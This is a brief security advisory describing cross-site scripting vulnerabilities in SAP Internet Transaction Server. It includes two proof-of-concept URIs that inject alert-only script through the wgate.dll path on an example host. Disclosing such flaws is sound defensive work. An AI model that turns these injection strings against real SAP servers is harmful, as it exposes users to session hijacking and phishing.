|
SAP Internet Transaction Server Multiple Cross-Site Scripting Vulnerabilities
To exploit these issues, an attacker must entice an unsuspecting victim into following a malicious URI. The following proof-of-concept URIs are available: http://www.example.com/scripts/wgate.dll?~service=--><img%09src=javascript:alert(xss) http://www.example.com/scripts/wgate/%22);alert('xss');alert(%22a/! |
|
|
Privacy Statement |
